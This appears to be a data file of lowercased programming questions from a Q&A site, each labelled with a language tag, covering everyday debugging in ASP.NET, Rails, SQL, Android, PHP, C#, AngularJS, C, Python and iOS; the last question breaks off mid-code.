system.data.entity.migrations.utilities.databasecreator.create(dbconnection   connection) +119<br>   system.data.entity.migrations.dbmigrator.ensuredatabaseexists(action   mustsucceedtokeepdatabase) +142<br>   system.data.entity.migrations.dbmigrator.update(string   targetmigration) +78<br>   system.data.entity.internal.databasecreator.createdatabase(internalcontext   internalcontext  func<code>3 createmigrator  objectcontext objectcontext)   +89    system.data.entity.internal.internalcontext.createdatabase(objectcontext   objectcontext  databaseexistencestate existencestate) +116<br>   system.data.entity.database.create(databaseexistencestate   existencestate) +218<br>   system.data.entity.createdatabaseifnotexists</code>1.initializedatabase(tcontext   context) +151<br>   system.data.entity.internal.&lt;>c__displayclassf<code>1.&lt;createinitializationaction&gt;b__e()   +76    system.data.entity.internal.internalcontext.performinitializationaction(action   action) +60<br>   system.data.entity.internal.internalcontext.performdatabaseinitialization()   +357    system.data.entity.internal.lazyinternalcontext.&lt;initializedatabase&gt;b__4(internalcontext   c) +7<br>   system.data.entity.internal.retryaction</code>1.performaction(tinput input)   +110    system.data.entity.internal.lazyinternalcontext.initializedatabaseaction(action<code>1   action) +198<br>   system.data.entity.internal.lazyinternalcontext.initializedatabase()   +73    system.data.entity.internal.internalcontext.getentitysetandbasetypefortype(type   entitytype) +28<br>   system.data.entity.internal.linq.internalset</code>1.initialize() +53<br>   system.data.entity.internal.linq.internalset<code>1.getenumerator() +15<br>   system.data.entity.infrastructure.dbquery</code>1.system.collections.ienumerable.getenumerator()   +52    system.web.ui.webcontrols.listviewpageddatasource.getenumerator() +291   system.web.ui.webcontrols.listview.createitemswithoutgroups(listviewpageddatasource   datasource  boolean databinding  insertitemposition insertposition    arraylist keyarray) +209<br>   system.web.ui.webcontrols.listview.createchildcontrols(ienumerable   datasource  boolean databinding) +1032<br>   system.web.ui.webcontrols.listview.performdatabinding(ienumerable   data) +35<br>   system.web.ui.webcontrols.databoundcontrol.ondatasourceviewselectcallback(ienumerable   data) +128<br>   system.web.ui.datasourceview.select(datasourceselectarguments   arguments  datasourceviewselectcallback callback) +34<br>   system.web.ui.webcontrols.modeldatasourceview.select(datasourceselectarguments   arguments  datasourceviewselectcallback callback) +80<br>   system.web.ui.webcontrols.databoundcontrol.performselect() +143<br>   system.web.ui.webcontrols.listview.performselect() +102<br>   system.web.ui.webcontrols.basedataboundcontrol.databind() +74<br>   system.web.ui.webcontrols.basedataboundcontrol.ensuredatabound() +114    system.web.ui.webcontrols.listview.createchildcontrols() +52<br>   system.web.ui.control.ensurechildcontrols() +92<br>   system.web.ui.control.prerenderrecursiveinternal() +42<br>   system.web.ui.control.prerenderrecursiveinternal() +160<br>   system.web.ui.control.prerenderrecursiveinternal() +160<br>   system.web.ui.control.prerenderrecursiveinternal() +160<br>   system.web.ui.page.processrequestmain(boolean   includestagesbeforeasyncpoint  boolean includestagesafterasyncpoint)   +883  </blockquote>   **    this is the code what could be a problem  because the website is working  without this code.   <pre><code>            &lt;asp:listview id= categorylist                itemtype= mytoyshome.models.category               runat= server              selectmethod= getcategories  &gt;             &lt;itemtemplate&gt;                 &lt;b style= font-size: large; font-style: normal &gt;              &lt;a href= ~/productlist.aspx id=&lt;%#: item.categoryid %&gt; &gt;             &lt;%#: item.categoryname %&gt;&lt;/a&gt;                 &lt;/a&gt;                 &lt;/b&gt;             &lt;/itemtemplate&gt;             &lt;itemseparatortemplate&gt;  |  &lt;/itemseparatortemplate&gt;             &lt;/asp:listview&gt; </code></pre>,asp.net
upgraded rails project from 2.3.5 to 3.1 and am getting a: no such file to load -- rails/init.rb when i run rails s  the following is what is spit out of the log when i run the rails server...   <pre><code>roy-sherrills-macbook-pro:emeraldcg tjs$ rails s =&gt; booting webrick =&gt; rails 3.1.1 application starting in development on http://0.0.0.0:3000 =&gt; call with -d to detach =&gt; ctrl-c to shutdown server exiting /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/activesupport-3.1.1/lib/active_support/dependencies.rb:240:in `require : no such file to load -- rails/init.rb (loaderror) from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/activesupport-3.1.1/lib/active_support/dependencies.rb:240:in `block in require  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/activesupport-3.1.1/lib/active_support/dependencies.rb:223:in `block in load_dependency  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/activesupport-3.1.1/lib/active_support/dependencies.rb:640:in `new_constants_in  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/activesupport-3.1.1/lib/active_support/dependencies.rb:223:in `load_dependency  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/activesupport-3.1.1/lib/active_support/dependencies.rb:240:in `require  from /users/tjs/sites/emeraldcg/vendor/plugins/jrails/init.rb:1:in `block in &lt;class:plugin&gt;  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/railties-3.1.1/lib/rails/plugin.rb:81:in `eval  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/railties-3.1.1/lib/rails/plugin.rb:81:in `block in &lt;class:plugin&gt;  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/railties-3.1.1/lib/rails/initializable.rb:30:in `instance_exec  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/railties-3.1.1/lib/rails/initializable.rb:30:in `run  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/railties-3.1.1/lib/rails/initializable.rb:55:in `block in run_initializers  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/railties-3.1.1/lib/rails/initializable.rb:54:in `each  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/railties-3.1.1/lib/rails/initializable.rb:54:in `run_initializers  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/railties-3.1.1/lib/rails/application.rb:96:in `initialize!  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/railties-3.1.1/lib/rails/railtie/configurable.rb:30:in `method_missing  from /users/tjs/sites/emeraldcg/config/environment.rb:5:in `&lt;top (required)&gt;  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/activesupport-3.1.1/lib/active_support/dependencies.rb:240:in `require  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/activesupport-3.1.1/lib/active_support/dependencies.rb:240:in `block in require  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/activesupport-3.1.1/lib/active_support/dependencies.rb:223:in `block in load_dependency  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/activesupport-3.1.1/lib/active_support/dependencies.rb:640:in `new_constants_in  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/activesupport-3.1.1/lib/active_support/dependencies.rb:223:in `load_dependency  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/activesupport-3.1.1/lib/active_support/dependencies.rb:240:in `require  from /users/tjs/sites/emeraldcg/config.ru:4:in `block in &lt;main&gt;  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/rack-1.3.3/lib/rack/builder.rb:51:in `instance_eval  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/rack-1.3.3/lib/rack/builder.rb:51:in `initialize  from /users/tjs/sites/emeraldcg/config.ru:1:in `new  from /users/tjs/sites/emeraldcg/config.ru:1:in `&lt;main&gt;  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/rack-1.3.3/lib/rack/builder.rb:40:in `eval  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/rack-1.3.3/lib/rack/builder.rb:40:in `parse_file  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/rack-1.3.3/lib/rack/server.rb:200:in `app  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/railties-3.1.1/lib/rails/commands/server.rb:46:in `app  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/rack-1.3.3/lib/rack/server.rb:301:in `wrapped_app  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/rack-1.3.3/lib/rack/server.rb:252:in `start  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/railties-3.1.1/lib/rails/commands/server.rb:70:in `start  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/railties-3.1.1/lib/rails/commands.rb:54:in `block in &lt;top (required)&gt;  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/railties-3.1.1/lib/rails/commands.rb:49:in `tap  from /users/tjs/.rvm/gems/ruby-1.9.2-p290/gems/railties-3.1.1/lib/rails/commands.rb:49:in `&lt;top (required)&gt;  from script/rails:6:in `require  from script/rails:6:in `&lt;main&gt;  roy-sherrills-macbook-pro:emeraldcg tjs$  </code></pre>   any ideas,ruby-on-rails
i want to extract the available timing from a table  where the booked timing is stored in another  my requirement is that i need to know the left over appointment timing from one table  for which the options are available in another table. options are available in this table    options are available in this table   <pre><code>timeid  timing ========================== 1   | 00:00.0 ---------------------------- 2   | 00:00.0 ------------------------- 3   | 00:00.0 -------------------------- 4   | 30:00.0 ------------------------------ 5   | 30:00.0 ------------------------- 6   | 30:00.0 ----------------------- 7   | 30:00.0 ------------------------ 8   | 30:00.0 ------------------------- </code></pre>   and the booking saves in the following table    booking saves in the following table   <pre><code>treaterid   datebooked  timeid ---------------------------------------- 1   |2012-01-01 |8 ---------------------------------- 1   |2012-01-01 |3 ------------------------------------- </code></pre>   i want the result to be the timing from timing table  that is not in booking table on a particular date. i am new to programming and could only thing of this solution   <pre><code>select timing from clinicnew.tbl_timing     where timeid &lt;&gt;(select timeid from clinicnew.treaterengageddtm where datebooked =  02-01-2012 ) </code></pre>   this query does not give me a right solution -  meaning it returns blank when the date is not available in the table-2. it works fine if the date is available at least once. please help with this query  or give a different appropriate solution for my requirement.,sql
android application failing to connect to port 80  i am using this url in android application code as i am using genymotion.   <pre><code>string login_url =  http:// 10.0.3.2:8080/login.php ; </code></pre>   but the exception in logcat says   <pre><code>-java.net.connectexception: failed to connect to /127.0.0.1 (port 80): connect failed: econnrefused (connection refused) </code></pre>   i am not able to resolve this issue.    when i try to execute login.php separately.it runs on <code>http://127.0.0.1/login.php</code>,android
php quiz always showing the same result  so i have this one quiz on my page  that tells the user what they might need. it s powered via php and jquery ajax. the jquery part is working fine  it displays the result of the quiz on the same page without page refresh  but the php script is not working correctly.     here s what it should do:   <blockquote>    check the results of the form  and add or remove a number from the score.  </blockquote>   here s the code:   <pre><code>&lt; php     $score = 0;     if ($_post[ muuttuminen ] ==  kylla ){     $score - 5;}     if ($_post[ muuttuminen ] ==  ei ){     $score + 1;}     if ($_post[ possiblecontent ] ==  kuvagallerian ){     $score + 1;}     if ($_post[ possiblecontent ] ==  pieni verkkokauppa ){     $score + 1;}     if ($_post[ possiblecontent ] ==  isompi verkkokauppa ){     $score - 1;}     if ($_post[ possiblecontent ] ==  jotain muuta ){     $score + 1;}     if ($_post[ ulkoasu ] ==  massasta erottuvan  uniikin ulkoasun ){     $score + 1;}     if ($_post[ ulkoasu ] ==  jotain muuta ){     $score + 0;}       if ($score &gt;= 3){         echo  &lt;p&gt;sivusi eiv&amp;auml;t ilmeisesti muutu usein  joten ne voidaan toteuttaa ilman julkaisuj&amp;auml;rjestelm&amp;auml;&amp;auml;  ja ne latautuvat nopeammin kuin julkaisuj&amp;auml;rjestelm&amp;auml;ll&amp;auml; toteutetut sivut.&lt;/p&gt; ;         }     if ($score &lt;= 3){      echo  &lt;p&gt;n&amp;auml;ytt&amp;auml;&amp;auml; silt&amp;auml; ett&amp;auml; sinun pit&amp;auml;&amp;auml; voida p&amp;auml;ivitt&amp;auml;&amp;auml; sivustoasi itse  eli suosittelemme kotisivuja julkaisuj&amp;auml;rjestelm&amp;auml;&amp;auml;n rakennettuna.&lt;/p&gt; ;         }       &gt;  </code></pre>   what i m possibly doing wrong here,php
how do i check if the list length is bigger than the last time   i have this code:   <pre><code>int lrlength = lr.count;             for (int i = 0; i &lt; lr.count; i++)             {                 lrlength = lr.count;                 lr = merge(lr);                 if (lr.count &lt; lrlength)                 {                     lr = merge(lr);                     if (lr.count == lrlength)                     {                         break;                     }                 }             } </code></pre>   and this is the function merge:   <pre><code>private list&lt;lightnings_extractor.lightnings_region&gt; merge(list&lt;lightnings_extractor.lightnings_region&gt; merged)         {             list&lt;lightnings_extractor.lightnings_region&gt; newmerged = new list&lt;lightnings_extractor.lightnings_region&gt;();             lightnings_extractor.lightnings_region reg;             int dealtwith = -1;             for (int i = 0; i &lt; merged.count; i++)             {                 if (i != dealtwith)                 {                      reg = new lightnings_extractor.lightnings_region();                      if (i &lt; merged.count - 1)                     {                          if (merged[i].end + 1 &gt;= merged[i + 1].start)                         {                             reg.start = merged[i].start;                             reg.end = merged[i + 1].end;                             newmerged.add(reg);                             dealtwith = i + 1;                         }                         else                         {                             reg.start = merged[i].start;                             reg.end = merged[i].end;                             newmerged.add(reg);                         }                     }                     else                     {                          reg.start = merged[i].start;                         reg.end = merged[i].end;                         newmerged.add(reg);                      }                 }             }             return newmerged;         } </code></pre>   in this class: lightnings_extractor.lightnings_region i have only two int variables. the idea in this function is to get a list and merge areas that are congruent.    for example once im calling the function and the list lr length is 8 now i will get it back less. for example if it needed to merge two indexs to one then the list i will get in return the length will be 7. if it will need to merge another indexs then the length will be 6 and so on.    what i want to check on the first code above is when i should stop calling the function to merge indexs.     if the length was 8 and the next time it s still 8 do nothing stop the loop. if the length is 8 and the next time it s 7 then call the function again. if the length is 7 stop the loop . but if the length is 6 keep calling it once again.    untill the last length will be the same as the length before !!!    so i tried this code but it s not working good:   <pre><code>int lrlength = lr.count;                 for (int i = 0; i &lt; lr.count; i++)                 {                     lrlength = lr.count;                     lr = merge(lr);                     if (lr.count &lt; lrlength)                     {                         lr = merge(lr);                         if (lr.count == lrlength)                         {                             break;                         }                     }                 } </code></pre>,c#
check if a directive contains a child directive in angularjs  is there a way to check if a directive contains another directive   as far as i know in angularjs there is nothing can do that  you can t require a child directive in the parent.    i have two directives one called <code>page-wrapper</code> and the other is <code>content-wrapper</code> like this :   <pre><code>&lt;md-content page-wrapper&gt;     &lt;profiles $router= ::$$router  class= ng-scope ng-isolate-scope &gt;         &lt;page-content&gt;         &lt;/page-content&gt;     &lt;/profil-liste&gt; &lt;/md-content&gt; </code></pre>   what i m trying to do is to check whether the  <code>page-wrapper</code> directive contains the <code>page-content</code> directive in it s children  if it doesn t then i should rise some exception.    i don t want to check if the <code>page-content</code> is inside it s parent  i already know how to that which doesn t fulfill my requirements.   <h1>edit :</h1>   please take in consideration that i m using <code>angular_1_router</code> so the <code>page-content</code> is not rendered in the phase where <code>page-wrapper</code> is compiled  this is how the <code>page-wrapper</code> looks in the link function :   <pre><code>innerhtml: &lt;profiles $router= ::$$router  class= ng-scope &gt;&lt;/profiles&gt;  </code></pre>   so searching for the <code>page-content</code> in the dom won t help with anything.    i also tried to delay it with the <code>$timeout</code> service :   <pre><code>function pagewrapperpostlink(scope  element  attrs  controller) {     $timeout(function(){         console.log(element);     }); } </code></pre>   which didn t help  the page which contains <code>page-content</code> is not injected with the router yet.,angularjs
using ansi codes in a c program  i make the follow screensaver-program. i using ansi codes  for clear the screen of terminal and define the position of current time. however  many times printed the same ansi codes. for example in line:   <pre><code>printf(  \e[%d;%df%s\n   random_line  random_column  ctime( &amp;t1 )); </code></pre>   printed -->    <blockquote>    [0;-14fmon jun  1 13:39:49 2015  </blockquote>   my code is:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;sys/ioctl.h&gt; #include &lt;time.h&gt; #include &lt;unistd.h&gt; #include &lt;signal.h&gt;  int main( void ) {     int lines = 0  columns = 0  random_line = 0  random_column = 0;     time_t t1;     struct winsize w;      while( 1 )     {         printf(  \e[2j\n  );          ioctl( 0  tiocgwinsz  &amp;w );         //printf(  lines of term: %d\n   w.ws_row );         //printf(  columns of term: %d\n   w.ws_col );         lines = w.ws_row;         columns = w.ws_col;          srand( time( null ) );         random_line = rand() % lines;         //printf(  random line = %d\n   random_line );         random_column = ( rand() % columns ) - 20;         //printf(  random column = %d\n   random_column );          t1 = time( null );         printf(  \e[%d;%df%s\n   random_line  random_column  ctime( &amp;t1 ) );         sleep( 5 );     }      return ( 0 ); } </code></pre>,c
1railstutorial.org 10.3.3 pagination error  <pre><code>&gt;&gt; user.all.class =&gt; array &gt;&gt; user.paginate(:page =&gt; 1).class typeerror: can t convert nil into array </code></pre>   not work  but    <pre><code>&gt;&gt; user.all.class =&gt; array &gt;&gt; user.all.paginate(:page =&gt; 1).class =&gt; willpaginate::collection </code></pre>   seems ok and   <pre><code>  def index     @title =  all users      @users = user.all.paginate(:page =&gt; params[:page])   end </code></pre>   this right,ruby-on-rails
need suggestion about a mixed  uri / int id  images ambient  i have the following problem:    suppose that until now  i am using  r.drawable.img to set the image in some imageviews with   <pre><code>imgview.setimage(aproduct.getimgid()); </code></pre>  <hr>   the simplified product class look like this:   <pre><code>class product{         int imgid;          ....         public void setimgid(int id){         this.imgid=id;         }          public int getimgid(){         return this.imgid         }          ...         } </code></pre>   my application is now  evolved  because the user can add customized products taking the img from the camera and getting the uri of the picture. and to set the image on the imageview imgview.setimguri(uri)    now my question is: what would be the best approach to have a mixed int/uri image resources ambient  can i obtain the uri of a  r.drawable.img      i m not sure if my question is clear  i mean:    i have to check  before to set the imageview  if my product has an uri or an int id  and then make an  if  to call the appropriate method  or there is a simpler solution     thank you for reading  and sorry for my english.    regards.,android
changing webcontrol property inside of a repeater  i have a repeater control that contains an itemtemplate containing a databound label and a dropdownlist control. with each iteration  i d like to change the id of the dropdownlist with each iteration  in order to use the values as inputs upon submission. can anyone tell me how this is usually done  thanks.,asp.net
phone calls and xib files  i am using ib to make my views  i am just wondering how i can resize those views during a phone call to move under the green bar. checking resize subviews doesn t work.,iphone
how to add a hidden value to datagridview textbox  (c#)  i am working with an existing gridview and i want to know if there is a way i can have a different value and display for the textboxcolumn  similar to a comboboxcolumn (displaymember  valuemember).    <pre><code>private system.windows.forms.datagridviewtextboxcolumn path;   this.path.datapropertyname =  path ;  this.path.headertext =  path ;  this.path.name =  path ;  this.path.readonly = true;  this.path.width = 186; </code></pre>   right now i have a hidden column with the id but i am wondering if there is a better solution.    eta: i have put  path.datapropertyname =  pathid  (the hidden value i want to use for update) and this.path.name =  path  (the string value i want displayed)     the name value is still returned when i get the value of the column.     this.mysamplegridview.rows[i].cells[ path ].value,c#
"adding margin to table makes it overflow the parent  i have a page which expands as the number of columns in the table increase. as long as i don t add a margin to the <code>div</code> containing the table  the page table doesn t overflow the parent. but when i add a <code>margin-left:2px</code> to the <code>div</code> containing the table  it overflows the parent. how can this be avoided     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.canvas{
     margin-left: 20%;
     display: inline-block;
     min-width: 60%;
 }
 .canvas .column-table {
     margin-left: 2%;
     margin-top: 2%;
     margin-bottom: 2%;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= canvas &gt;
     &lt;div class= column-table &gt;
         &lt;table id= main-table &gt;
             &lt;tr id= row1 &gt;
             &lt;/tr&gt;
             &lt;tr id= row2 &gt;
             &lt;/tr&gt;
         &lt;/table&gt;
     &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
count grouped rows in a time range  i m having trouble with a query. i need to get the count in  a grouped row. the final result should look like this   <pre><code>id  title   record_date record_timerange    count 109 game    2018-07-09  12:00-13:00         1 106 game    2018-07-09  11:00-12:00         3 116 book    2018-07-09  08:00-09:00         3 104 game    2018-07-09  08:00-09:00         2 115 game    2018-07-08  12:00-13:00         1 112 game    2018-07-08  11:00-12:00         3 110 game    2018-07-08  08:00-09:00         2 </code></pre>   this is my sql and fiddle <a href= http://sqlfiddle.com/#!9/9d27d9/1  rel= nofollow noreferrer >http://sqlfiddle.com/#!9/9d27d9/1</a>   <pre><code>select id  title   date_format(record_datetime   %y-%m-%d )as record_date   concat(date_format(record_datetime   %h )  :00-   lpad( date_format(record_datetime   %h )+01 2 0 )    :00 )as record_timerange  (select count(id) from nav_static_data as sub where 1=1     and sub.title=title      and date_format(sub.record_datetime  %h )=record_date     and date_format(sub.record_datetime   %y-%m-%d )=date_format(record_datetime   %y-%m-%d ) )as count  from nav_static_data as m where 1=1   group by floor(mod(m.record_datetime  86400)/8640)  m.title order by record_date desc  record_timerange desc  m.title    </code></pre>   how can i fix the count column and a missing row(id=110),mysql
obj-c turning long string into multidimensional array  i have a long nsstring  something like  t00010000t00020000t00030000  and so on. i need to split that up into each  t0001000 .    i m using...    nsarray *tiledata = [[gamep objectforkey:@ map ] componentsseparatedbystring:@ t ];    and it splits it up  but the  t  is missing  which i need (although i think i could append it back on). the other way i guess would be to split it up by counting 8 char s  although not sure how to do that.    but ideally i need it split into a [][] type array so i can get to each bit with something like...    nsstring tile = [[tiledata objectatindex:i] objectatindex:j]];    i m new to obj-c so thanks for any help.,ios
skipping slow query log  if i save a statement in a text file and call it at command prompt like this...    mysql -uroot -ppassword db_name &lt; somefile.txt    the statements taking a long time do not appear in the slow query log even though all the statements do appear in the general and binary logs. is it a bug,mysql
send data with putextra and getextra  i have a question about send data between two activity files. below code is a part of pdf viewer application.    <strong>main activity</strong>   <pre><code>private void init() {     lv_pdf = (listview)findviewbyid(r.id.lv_pdf);     dir = new file(environment.getexternalstoragedirectory().getabsolutepath());     fn_permission();      lv_pdf.setonitemclicklistener(new adapterview.onitemclicklistener() {         @override         public void onitemclick(adapterview&lt; &gt; adapterview  view view  int i  long l) {             intent intent = new intent(mainactivity.this  pdfactivity.class);             intent.putextra( position   i);             startactivity(intent);             log.e( position   i +   );         }     }); } </code></pre>   <code>onitemclick()</code> method sends data from main activity to second activity(<code>pdfactivity.java</code>) with <code>putextra</code>.( position  is a index of pdf files)    <strong>second activity</strong>   <pre><code>private void init() {     pdfview = (pdfview)findviewbyid(r.id.pdfview);     position = getintent().getintextra( position   0);      file pdffile = new file(environment.getexternalstoragedirectory()  pdffile.pdf );      if (pdffile.exists()) {         uri path = uri.fromfile(pdffile);         intent objintent = new intent(intent.action_view);         objintent.setdataandtype(path   application/pdf );         objintent.setflags(intent. flag_activity_clear_top);         startactivity(objintent);     }      displayfromsdcard(); }  private void displayfromsdcard() {     pdffilename = mainactivity.filelist.get(position).getname();      pdfview.fromfile(mainactivity.filelist.get(position))             .defaultpage(pagenumber)             .enableswipe(true)             .swipehorizontal(false)             .onpagechange(this)             .enableannotationrendering(true)             .onload(this)             .scrollhandle(new defaultscrollhandle(this))             .load(); } </code></pre>   in second activity   position  gets data with <code>getintextra()</code> method and default value is 0. <code>position</code> variable is used for rendering pdf files.    <strong>problem:</strong>     default value 0  is the first index number. it means the last saved file on the sd card. but if i clicked a pdf file in app chooser  no matter which file is clicked  the last saved file is always opened.    how do i change default value to open the pdf file that i clicked     following code is manifest.xml file about second activity file.   <pre><code>&lt;activity     android:name= .pdfactivity      android:screenorientation= portrait      android:parentactivityname= .mainactivity &gt;     &lt;meta-data         android:name= android.support.parent_activity          android:value= com.pdffilefromsdcard.mainactivity  /&gt;     &lt;intent-filter &gt;         &lt;action android:name= android.intent.action.view  /&gt;         &lt;category android:name= android.intent.category.default  /&gt;         &lt;data android:mimetype= application/pdf  /&gt;     &lt;/intent-filter&gt; &lt;/activity&gt; </code></pre>   <strong>what i ve tried:</strong>    i made an additional variable <code>positionstr</code> that data type is string and put it into file path  but application was stopped suddenly when i launched it.,android
function does not return variable  i m trying to write an upload function that returns the location of the uploaded file. the location will be used in a function that calls the imagick class to resize the image a few times for use in responsive design. only problem is...i m getting nothing from the return statement and can t figure out why.  heeeelp! *before i gouge my eyes out     <strong>here s the  code*</strong>   <pre><code>function imageresize($image){    //call to imagick class and resize functions will go here     echo  the image to be resized is :  .$image;   }   function file_upload(){     if(!empty( $_files) ){    $tmpfldr=$_files[ upfile ][ tmp_name ];   $filedest= users/uploads/ .$_files[ upfile ][ name ];      if(move_uploaded_file($tmpfldr $filedest)){        echo  congratulations  your folder was uploaded successfully ;        }     else{      echo  your file failed to upload&lt;br&gt;&lt;br&gt; ;       }      return $filedest;      } else{die(  nothing to upload );}      } /*end file upload function */       file_upload();   imageresize($filedest); </code></pre>,php
how do you delay animations with .animate   i m hacking up a fix for jquery slide down which jumps.    so far i have:   <pre><code> $div.hide().css({ height : 0 });  $div.show().animate({ height : height }  { duration: 1000 }); </code></pre>   but i want to delay the showing of teh div by 1 second. i ve tried .delay(1000) but it doesnt work.    thanks for your help.,jquery
signal handler exits  but program continue to run   apparently when my signal handler exits  my program continue to run. this is evident by the exception raised even after the  log done  close now . can someone explain why this is so  note the functions have been simplified   <pre><code>^clog   ctrl-c backup  state: not_span 328  pos 22  all_cycles 19 backup  backup complete  you may force exit now log     done  close now traceback (most recent call last):   file  singleedger.py   line 219  in &lt;module&gt;     mysingleedger.outputallcycles()   file  singleedger.py   line 141  in outputallcycles     r = self.returncycle( self.dfs_tree  self.not_span[self.pos])   file  singleedger.py   line 72  in returncycle     udfs = nx.graph(dfs)                    # the trick is to make it undirected   file  /var/lib/python-support/python2.6/networkx/graph.py   line 86  in __init__     convert.from_whatever(data create_using=self)   file  /var/lib/python-support/python2.6/networkx/convert.py   line 76  in from_whatever      input is not a correct networkx graph.  networkx.exception.networkxerror: input is not a correct networkx graph. </code></pre>   these are the functions for reference       <pre><code>    def sighandler(self  arg1  arg2):         out( log    ctrl-c )         self.backup()         out( log    done  close now )         exit()       def outputallcycles(self):         while self.pos &lt; len(self.not_span):             r = self.returncycle( self.dfs_tree  self.not_span[self.pos])             if r:                 self.all_cycles.append( r )                 for each in r:      # now it s [ (3 4)  (5 6) ]                     each = (sellhash(each[0])  sellhash( each[1]) )                     self.outfo.write( each[0] + \t + each[1] )                     self.outfo.write(  \n )                 self.outfo.write(  \n )             self.pos += 1         out(  singleedger    outputallcycles done )       def backup(self):         out(  backup    state: not_span %i  pos %i  all_cycles %i  % ( len(self.not_span)  self.pos  len(self.all_cycles)) )         out(  backup    backup complete  you may force exit now ) </code></pre>,python
error code: 1241. operand should contain 1 column(s) <pre><code>select first_name  last_name from reservation where reservation_id in (     select *     from reservation  guest  guests_transactions  transaction_guest     where          transaction_guest.transaction_id = guests_transactions.transaction_id         and guests_transactions.guest_id = guest.guest_id         and guest.reservation_id = reservation.reservation_id         and transaction_guest.exp_date regexp 16 ); </code></pre>,mysql
check constraint error using sql management studio <pre><code>create table [dbo].[sales] (     [saleid] [uniqueidentifier] not null default newid()       [productid] [int] not null      [workid] [int] not null      [quantity] [smallint] not null      [saledate] [datetime] not null constraint df_saledate default (getdate())     constraint chk_quantitysaledate check (quantity &gt; 0 and datediff (d getdate()  saledate) &lt;=0)  ) on [primary] </code></pre>   trying to execute the above query results in the following error:   <pre><code> column check constraint for column  saledate  references another column  table  sales .  </code></pre>   can someone please enlighten me,sql
rake db:create & rails server  i am new to ror and have been trying to complete getting started link    <blockquote>    <a href= http://guides.rubyonrails.org/getting_started.html  rel= nofollow >http://guides.rubyonrails.org/getting_started.html</a>  </blockquote>   i m getting couple of problems:   <ol> <li>i can t run <code>rake db:create</code></li> <li>i can t run <code>rake server</code></li> </ol>   workstation is unbuntu 12.04  rails 3.2.8  ruby 1.9.3p194.   <pre><code>mukeshk@ubuntu:~/netbeansprojects/rails_work/blog/config$ rake db:create (in /home/mukeshk/netbeansprojects/rails_work/blog) rake aborted! undefined method `active_record  for #&lt;rails::application::configuration:0x00000002080410&gt;  (see full trace by running task with --trace)  mukeshk@ubuntu:~/netbeansprojects/rails_work/blog/config$ rails server /home/mukeshk/.rvm/gems/ruby-1.9.3-p194@rails32/gems/railties-3.2.8/lib/rails/railtie/configuration.rb:85:in `method_missing : undefined method `active_record  for #&lt;rails::application::configuration:0x00000002a02f60&gt; (nomethoderror)     from /home/mukeshk/netbeansprojects/rails_work/blog/config/application.rb:54:in `&lt;class:application&gt;      from /home/mukeshk/netbeansprojects/rails_work/blog/config/application.rb:13:in `&lt;module:blog&gt;      from /home/mukeshk/netbeansprojects/rails_work/blog/config/application.rb:12:in `&lt;top (required)&gt;      from /home/mukeshk/.rvm/gems/ruby-1.9.3-p194@rails32/gems/railties-3.2.8/lib/rails/commands.rb:53:in `require      from /home/mukeshk/.rvm/gems/ruby-1.9.3-p194@rails32/gems/railties-3.2.8/lib/rails/commands.rb:53:in `block in &lt;top (required)&gt;      from /home/mukeshk/.rvm/gems/ruby-1.9.3-p194@rails32/gems/railties-3.2.8/lib/rails/commands.rb:50:in `tap      from /home/mukeshk/.rvm/gems/ruby-1.9.3-p194@rails32/gems/railties-3.2.8/lib/rails/commands.rb:50:in `&lt;top (required)&gt;      from script/rails:6:in `require      from script/rails:6:in `&lt;main&gt;  mukeshk@ubuntu:~/netbeansprojects/rails_work/blog/config$  </code></pre>,ruby-on-rails
bad receiver type  double   i know that this has been asked before but i have gone through some of the previous questions and i cannot relate them to my problem.     i m trying to develop a class in my application that will handle all of the calculations to be performed but i am having a problem with one of the more simple method calls trying to return a double value. i am pretty new to ios coding so it is probably something simple that i am doing wrong. anyway here is the code    p.s. i m not sure if i have given enough information so if i need to add anything else let me know    from the .m file making the method call   <pre><code>- (void)locationmanager:(cllocationmanager *)manager          didupdatetolocation:(cllocation *)newlocation          fromlocation:(cllocation *)oldlocation {     // print the location to the device logs to aid in debugging     nslog(@ didupdatetolocation: %@   newlocation);     cllocation *currentlocation = newlocation;      //this is the problem line here     //problem solved thans to trojanfoe and h2co3     double currentspeed = [[bidcalculations calculatespeed: newlocation] doublevalue];      //the problem line was replace with this new line which solved the error     double currentspeed = [bidcalculations calculatespeed: newlocation];       // if there is a location to report  print it to the screen     if (currentlocation != nil) {         _positionlabel.text = [nsstring stringwithformat:@ %.3f  %.3f                                  